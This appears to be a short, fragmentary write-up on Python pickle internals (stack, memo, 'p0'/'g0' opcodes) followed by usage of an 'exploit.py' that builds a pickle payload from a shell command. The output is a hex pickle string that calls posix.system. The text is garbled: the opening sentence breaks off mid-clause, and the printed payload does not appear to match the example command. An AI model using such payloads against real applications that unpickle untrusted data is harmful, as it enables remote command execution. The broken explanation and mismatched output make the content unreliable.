Pickle is a python package used to 'serialize' an object to string format and store them to Pickle is a simple stack language, which means pickle has a variable stack. Every time it finished 'deserializing' an object it stores it on the stack. Every time it reaches a '.' while 'deserializing', it pop a variable from the stack. Besides, pickle has a temperary memo, like a clipboard. 'p0', 'p1' means put the top obj on the stack to memo and refer it as '0' or '1' 'g0', 'g1' act as get obj '0' or '1'
$ python3 exploit.py [command]Example:
$ python3 exploit.py 'whoami; id'
b'8004951a000000000000008c05706f736978948c0673797374656d9493944b0a859452942e'